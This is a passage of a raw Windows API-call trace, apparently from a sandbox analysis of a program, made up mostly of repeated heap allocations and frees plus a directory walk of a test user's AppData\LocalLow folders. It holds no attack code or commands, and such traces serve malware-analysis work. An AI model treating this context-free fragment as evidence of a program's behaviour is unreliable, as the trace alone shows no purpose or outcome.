lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.452] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.452] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.452] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.452] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.452] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.452] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.452] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.452] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.452] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.452] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.452] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.452] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.452] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.452] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.452] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.452] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.452] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.452] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.452] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.453] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.453] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.453] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.453] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.453] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.453] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.453] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.453] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.453] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.453] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.453] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.453] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.453] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.453] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.453] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.453] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.453] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.453] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.453] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.453] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.453] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.453] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.453] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.453] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.453] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.453] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.453] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.453] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.453] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.453] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.453] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.454] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.454] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.454] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.454] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.454] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.454] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.454] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.454] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.454] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.454] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.454] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.454] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.454] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.454] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.454] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.454] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.454] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.454] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.454] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.454] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.454] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.454] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.454] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.454] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.454] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.454] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.454] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.454] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.454] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.454] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.454] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.454] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.454] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.455] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.455] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.455] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.455] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.455] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.455] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.455] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.455] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.455] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.455] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.455] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.455] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.455] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.455] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.455] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.455] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.455] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.455] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.455] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.455] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.455] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.455] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.455] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.455] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.455] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.455] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.455] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.455] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.455] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.455] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.455] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.455] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.455] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.456] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.456] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.456] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.456] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.456] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.456] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0114.456] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.456] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.456] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0114.456] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0114.456] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326e0d0 [0114.456] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.456] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0114.456] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284968 [0114.456] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326e0d0 | out: hHeap=0x660000) returned 1 [0114.456] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.456] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c568 [0114.456] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0114.456] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0114.456] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284968 | out: hHeap=0x660000) returned 1 [0114.456] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.456] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0114.456] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.456] PathFindFileNameW (pszPath="") returned="" [0114.456] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.456] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0114.457] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.457] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.457] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd6e27e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd6e27e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0114.457] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741488 [0114.457] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x7410d0 [0114.457] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1c) returned 0x32ba3f0 [0114.457] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740e28 [0114.457] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7410d0 | out: hHeap=0x660000) returned 1 [0114.458] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741488 | out: hHeap=0x660000) returned 1 [0114.458] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1 [0114.458] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.458] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321268 [0114.458] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x38) returned 0x32a6888 [0114.458] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741488 [0114.458] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740e28 | out: hHeap=0x660000) returned 1 [0114.458] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0114.458] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321300 [0114.458] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321268 | out: hHeap=0x660000) returned 1 [0114.458] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.458] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 0 [0114.458] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0114.458] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0114.458] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f9a8 | out: hHeap=0x660000) returned 1 [0114.458] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0114.458] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740e28 [0114.458] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0114.458] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x7410d0 [0114.458] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.458] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.458] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7410d0 | out: hHeap=0x660000) returned 1 [0114.458] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x7410d0 [0114.458] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.458] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.458] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7410d0 | out: hHeap=0x660000) returned 1 [0114.458] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x7410d0 [0114.458] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.459] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0114.459] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0114.459] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.459] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0114.459] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326e0d0 [0114.459] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0114.459] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284968 [0114.459] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.459] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c568 [0114.459] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.459] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.459] PathFindFileNameW (pszPath="") returned="" [0114.459] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x7410d0 [0114.459] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0114.461] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.461] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CryptnetUrlCache", cAlternateFileName="CRYPTN~1")) returned 1 [0114.461] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x7215d8 [0114.461] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IME12", cAlternateFileName="")) returned 1 [0114.461] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMJP12", cAlternateFileName="")) returned 1 [0114.461] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMJP8_1", cAlternateFileName="")) returned 1 [0114.461] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMJP9_0", cAlternateFileName="")) returned 1 [0114.461] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, 